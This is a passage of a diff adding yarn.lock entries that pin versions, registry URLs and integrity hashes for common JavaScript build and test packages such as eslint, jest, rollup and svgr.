+  integrity sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-text-decoration-shorthand@^1.0.0":
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz#ea96cfbc87d921eca914d3ad29340d9bcc4c953f"
+  integrity sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-trigonometric-functions@^1.0.2":
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz#94d3e4774c36d35dcdc88ce091336cb770d32756"
+  integrity sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+"@csstools/postcss-unset-value@^1.0.2":
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz#c99bb70e2cdc7312948d1eb41df2412330b81f77"
+  integrity sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==
+
+"@csstools/selector-specificity@^2.0.0", "@csstools/selector-specificity@^2.0.2":
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz#2cbcf822bf3764c9658c4d2e568bd0c0cb748016"
+  integrity sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==
+
+"@eslint-community/eslint-utils@^4.2.0":
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz#d1145bf2c20132d6400495d6df4bf59362fd9d56"
+  integrity sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==
+  dependencies:
+    eslint-visitor-keys "^3.4.3"
+
+"@eslint-community/regexpp@^4.4.0", "@eslint-community/regexpp@^4.6.1":
+  version "4.12.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.12.1.tgz#cfc6cffe39df390a3841cde2abccf92eaa7ae0e0"
+  integrity sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==
+
+"@eslint/eslintrc@^2.1.4":
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-2.1.4.tgz#388a269f0f25c1b6adc317b5a2c55714894c70ad"
+  integrity sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.3.2"
+    espree "^9.6.0"
+    globals "^13.19.0"
+    ignore "^5.2.0"
+    import-fresh "^3.2.1"
+    js-yaml "^4.1.0"
+    minimatch "^3.1.2"
+    strip-json-comments "^3.1.1"
+
+"@eslint/js@8.57.1":
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-8.57.1.tgz#de633db3ec2ef6a3c89e2f19038063e8a122e2c2"
+  integrity sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==
+
+"@humanwhocodes/config-array@^0.13.0":
+  version "0.13.0"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.13.0.tgz#fb907624df3256d04b9aa2df50d7aa97ec648748"
+  integrity sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==
+  dependencies:
+    "@humanwhocodes/object-schema" "^2.0.3"
+    debug "^4.3.1"
+    minimatch "^3.0.5"
+
+"@humanwhocodes/module-importer@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz#af5b2691a22b44be847b0ca81641c5fb6ad0172c"
+  integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==
+
+"@humanwhocodes/object-schema@^2.0.3":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz#4a2868d75d6d6963e423bcf90b7fd1be343409d3"
+  integrity sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==
+
+"@isaacs/cliui@^8.0.2":
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-8.0.2.tgz#b37667b7bc181c168782259bab42474fbf52b550"
+  integrity sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==
+  dependencies:
+    string-width "^5.1.2"
+    string-width-cjs "npm:string-width@^4.2.0"
+    strip-ansi "^7.0.1"
+    strip-ansi-cjs "npm:strip-ansi@^6.0.1"
+    wrap-ansi "^8.1.0"
+    wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
+
+"@istanbuljs/load-nyc-config@^1.0.0":
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced"
+  integrity sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==
+  dependencies:
+    camelcase "^5.3.1"
+    find-up "^4.1.0"
+    get-package-type "^0.1.0"
+    js-yaml "^3.13.1"
+    resolve-from "^5.0.0"
+
+"@istanbuljs/schema@^0.1.2":
+  version "0.1.3"
+  resolved "https://registry.yarnpkg.com/@istanbuljs/schema/-/schema-0.1.3.tgz#e45e384e4b8ec16bce2fd903af78450f6bf7ec98"
+  integrity sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==
+
+"@jest/console@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/console/-/console-27.5.1.tgz#260fe7239602fe5130a94f1aa386eff54b014bba"
+  integrity sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    jest-message-util "^27.5.1"
+    jest-util "^27.5.1"
+    slash "^3.0.0"
+
+"@jest/console@^28.1.3":
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/@jest/console/-/console-28.1.3.tgz#2030606ec03a18c31803b8a36382762e447655df"
+  integrity sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==
+  dependencies:
+    "@jest/types" "^28.1.3"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    jest-message-util "^28.1.3"
+    jest-util "^28.1.3"
+    slash "^3.0.0"
+
+"@jest/core@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/core/-/core-27.5.1.tgz#267ac5f704e09dc52de2922cbf3af9edcd64b626"
+  integrity sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==
+  dependencies:
+    "@jest/console" "^27.5.1"
+    "@jest/reporters" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    ansi-escapes "^4.2.1"
+    chalk "^4.0.0"
+    emittery "^0.8.1"
+    exit "^0.1.2"
+    graceful-fs "^4.2.9"
+    jest-changed-files "^27.5.1"
+    jest-config "^27.5.1"
+    jest-haste-map "^27.5.1"
+    jest-message-util "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-resolve-dependencies "^27.5.1"
+    jest-runner "^27.5.1"
+    jest-runtime "^27.5.1"
+    jest-snapshot "^27.5.1"
+    jest-util "^27.5.1"
+    jest-validate "^27.5.1"
+    jest-watcher "^27.5.1"
+    micromatch "^4.0.4"
+    rimraf "^3.0.0"
+    slash "^3.0.0"
+    strip-ansi "^6.0.0"
+
+"@jest/environment@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/environment/-/environment-27.5.1.tgz#d7425820511fe7158abbecc010140c3fd3be9c74"
+  integrity sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==
+  dependencies:
+    "@jest/fake-timers" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    jest-mock "^27.5.1"
+
+"@jest/fake-timers@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/fake-timers/-/fake-timers-27.5.1.tgz#76979745ce0579c8a94a4678af7a748eda8ada74"
+  integrity sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    "@sinonjs/fake-timers" "^8.0.1"
+    "@types/node" "*"
+    jest-message-util "^27.5.1"
+    jest-mock "^27.5.1"
+    jest-util "^27.5.1"
+
+"@jest/globals@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/globals/-/globals-27.5.1.tgz#7ac06ce57ab966566c7963431cef458434601b2b"
+  integrity sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==
+  dependencies:
+    "@jest/environment" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    expect "^27.5.1"
+
+"@jest/reporters@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/reporters/-/reporters-27.5.1.tgz#ceda7be96170b03c923c37987b64015812ffec04"
+  integrity sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==
+  dependencies:
+    "@bcoe/v8-coverage" "^0.2.3"
+    "@jest/console" "^27.5.1"
+    "@jest/test-result" "^27.5.1"
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    collect-v8-coverage "^1.0.0"
+    exit "^0.1.2"
+    glob "^7.1.2"
+    graceful-fs "^4.2.9"
+    istanbul-lib-coverage "^3.0.0"
+    istanbul-lib-instrument "^5.1.0"
+    istanbul-lib-report "^3.0.0"
+    istanbul-lib-source-maps "^4.0.0"
+    istanbul-reports "^3.1.3"
+    jest-haste-map "^27.5.1"
+    jest-resolve "^27.5.1"
+    jest-util "^27.5.1"
+    jest-worker "^27.5.1"
+    slash "^3.0.0"
+    source-map "^0.6.0"
+    string-length "^4.0.1"
+    terminal-link "^2.0.0"
+    v8-to-istanbul "^8.1.0"
+
+"@jest/schemas@^28.1.3":
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/@jest/schemas/-/schemas-28.1.3.tgz#ad8b86a66f11f33619e3d7e1dcddd7f2d40ff905"
+  integrity sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==
+  dependencies:
+    "@sinclair/typebox" "^0.24.1"
+
+"@jest/source-map@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/source-map/-/source-map-27.5.1.tgz#6608391e465add4205eae073b55e7f279e04e8cf"
+  integrity sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==
+  dependencies:
+    callsites "^3.0.0"
+    graceful-fs "^4.2.9"
+    source-map "^0.6.0"
+
+"@jest/test-result@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/test-result/-/test-result-27.5.1.tgz#56a6585fa80f7cdab72b8c5fc2e871d03832f5bb"
+  integrity sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==
+  dependencies:
+    "@jest/console" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/istanbul-lib-coverage" "^2.0.0"
+    collect-v8-coverage "^1.0.0"
+
+"@jest/test-result@^28.1.3":
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/@jest/test-result/-/test-result-28.1.3.tgz#5eae945fd9f4b8fcfce74d239e6f725b6bf076c5"
+  integrity sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==
+  dependencies:
+    "@jest/console" "^28.1.3"
+    "@jest/types" "^28.1.3"
+    "@types/istanbul-lib-coverage" "^2.0.0"
+    collect-v8-coverage "^1.0.0"
+
+"@jest/test-sequencer@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz#4057e0e9cea4439e544c6353c6affe58d095745b"
+  integrity sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==
+  dependencies:
+    "@jest/test-result" "^27.5.1"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-runtime "^27.5.1"
+
+"@jest/transform@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/transform/-/transform-27.5.1.tgz#6c3501dcc00c4c08915f292a600ece5ecfe1f409"
+  integrity sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==
+  dependencies:
+    "@babel/core" "^7.1.0"
+    "@jest/types" "^27.5.1"
+    babel-plugin-istanbul "^6.1.1"
+    chalk "^4.0.0"
+    convert-source-map "^1.4.0"
+    fast-json-stable-stringify "^2.0.0"
+    graceful-fs "^4.2.9"
+    jest-haste-map "^27.5.1"
+    jest-regex-util "^27.5.1"
+    jest-util "^27.5.1"
+    micromatch "^4.0.4"
+    pirates "^4.0.4"
+    slash "^3.0.0"
+    source-map "^0.6.1"
+    write-file-atomic "^3.0.0"
+
+"@jest/types@^27.5.1":
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/@jest/types/-/types-27.5.1.tgz#3c79ec4a8ba61c170bf937bcf9e98a9df175ec80"
+  integrity sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==
+  dependencies:
+    "@types/istanbul-lib-coverage" "^2.0.0"
+    "@types/istanbul-reports" "^3.0.0"
+    "@types/node" "*"
+    "@types/yargs" "^16.0.0"
+    chalk "^4.0.0"
+
+"@jest/types@^28.1.3":
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/@jest/types/-/types-28.1.3.tgz#b05de80996ff12512bc5ceb1d208285a7d11748b"
+  integrity sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==
+  dependencies:
+    "@jest/schemas" "^28.1.3"
+    "@types/istanbul-lib-coverage" "^2.0.0"
+    "@types/istanbul-reports" "^3.0.0"
+    "@types/node" "*"
+    "@types/yargs" "^17.0.8"
+    chalk "^4.0.0"
+
+"@jridgewell/gen-mapping@^0.3.2", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz#4f0e06362e01362f823d348f1872b08f666d8142"
+  integrity sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/set-array@^1.2.1":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
+  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.6"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.6.tgz#9d71ca886e32502eb9362c9a74a46787c36df81a"
+  integrity sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+
+"@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@leichtgewicht/ip-codec@^2.0.1":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz#4fc56c15c580b9adb7dc3c333a134e540b44bfb1"
+  integrity sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==
+
+"@nicolo-ribaudo/eslint-scope-5-internals@5.1.1-v1":
+  version "5.1.1-v1"
+  resolved "https://registry.yarnpkg.com/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz#dbf733a965ca47b1973177dc0bb6c889edcfb129"
+  integrity sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==
+  dependencies:
+    eslint-scope "5.1.1"
+
+"@nodelib/fs.scandir@2.1.5":
+  version "2.1.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
+  integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
+  dependencies:
+    "@nodelib/fs.stat" "2.0.5"
+    run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
+  integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
+
+"@nodelib/fs.walk@^1.2.3", "@nodelib/fs.walk@^1.2.8":
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a"
+  integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
+  dependencies:
+    "@nodelib/fs.scandir" "2.1.5"
+    fastq "^1.6.0"
+
+"@pkgjs/parseargs@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
+
+"@pmmmwh/react-refresh-webpack-plugin@^0.5.3":
+  version "0.5.15"
+  resolved "https://registry.yarnpkg.com/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.15.tgz#f126be97c30b83ed777e2aeabd518bc592e6e7c4"
+  integrity sha512-LFWllMA55pzB9D34w/wXUCf8+c+IYKuJDgxiZ3qMhl64KRMBHYM1I3VdGaD2BV5FNPV2/S2596bppxHbv2ZydQ==
+  dependencies:
+    ansi-html "^0.0.9"
+    core-js-pure "^3.23.3"
+    error-stack-parser "^2.0.6"
+    html-entities "^2.1.0"
+    loader-utils "^2.0.4"
+    schema-utils "^4.2.0"
+    source-map "^0.7.3"
+
+"@rollup/plugin-babel@^5.2.0":
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz#04bc0608f4aa4b2e4b1aebf284344d0f68fda283"
+  integrity sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==
+  dependencies:
+    "@babel/helper-module-imports" "^7.10.4"
+    "@rollup/pluginutils" "^3.1.0"
+
+"@rollup/plugin-node-resolve@^11.2.1":
+  version "11.2.1"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz#82aa59397a29cd4e13248b106e6a4a1880362a60"
+  integrity sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    "@types/resolve" "1.17.1"
+    builtin-modules "^3.1.0"
+    deepmerge "^4.2.2"
+    is-module "^1.0.0"
+    resolve "^1.19.0"
+
+"@rollup/plugin-replace@^2.4.1":
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz#a2d539314fbc77c244858faa523012825068510a"
+  integrity sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    magic-string "^0.25.7"
+
+"@rollup/pluginutils@^3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-3.1.0.tgz#706b4524ee6dc8b103b3c995533e5ad680c02b9b"
+  integrity sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==
+  dependencies:
+    "@types/estree" "0.0.39"
+    estree-walker "^1.0.1"
+    picomatch "^2.2.2"
+
+"@rtsao/scc@^1.1.0":
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/@rtsao/scc/-/scc-1.1.0.tgz#927dd2fae9bc3361403ac2c7a00c32ddce9ad7e8"
+  integrity sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==
+
+"@rushstack/eslint-patch@^1.1.0":
+  version "1.10.5"
+  resolved "https://registry.yarnpkg.com/@rushstack/eslint-patch/-/eslint-patch-1.10.5.tgz#3a1c12c959010a55c17d46b395ed3047b545c246"
+  integrity sha512-kkKUDVlII2DQiKy7UstOR1ErJP8kUKAQ4oa+SQtM0K+lPdmmjj0YnnxBgtTVYH7mUKtbsxeFC9y0AmK7Yb78/A==
+
+"@sinclair/typebox@^0.24.1":
+  version "0.24.51"
+  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.24.51.tgz#645f33fe4e02defe26f2f5c0410e1c094eac7f5f"
+  integrity sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==
+
+"@sinonjs/commons@^1.7.0":
+  version "1.8.6"
+  resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.6.tgz#80c516a4dc264c2a69115e7578d62581ff455ed9"
+  integrity sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==
+  dependencies:
+    type-detect "4.0.8"
+
+"@sinonjs/fake-timers@^8.0.1":
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz#3fdc2b6cb58935b21bfb8d1625eb1300484316e7"
+  integrity sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==
+  dependencies:
+    "@sinonjs/commons" "^1.7.0"
+
+"@surma/rollup-plugin-off-main-thread@^2.2.3":
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz#ee34985952ca21558ab0d952f00298ad2190c053"
+  integrity sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==
+  dependencies:
+    ejs "^3.1.6"
+    json5 "^2.2.0"
+    magic-string "^0.25.0"
+    string.prototype.matchall "^4.0.6"
+
+"@svgr/babel-plugin-add-jsx-attribute@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz#81ef61947bb268eb9d50523446f9c638fb355906"
+  integrity sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==
+
+"@svgr/babel-plugin-remove-jsx-attribute@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz#6b2c770c95c874654fd5e1d5ef475b78a0a962ef"
+  integrity sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==
+
+"@svgr/babel-plugin-remove-jsx-empty-expression@^5.0.1":
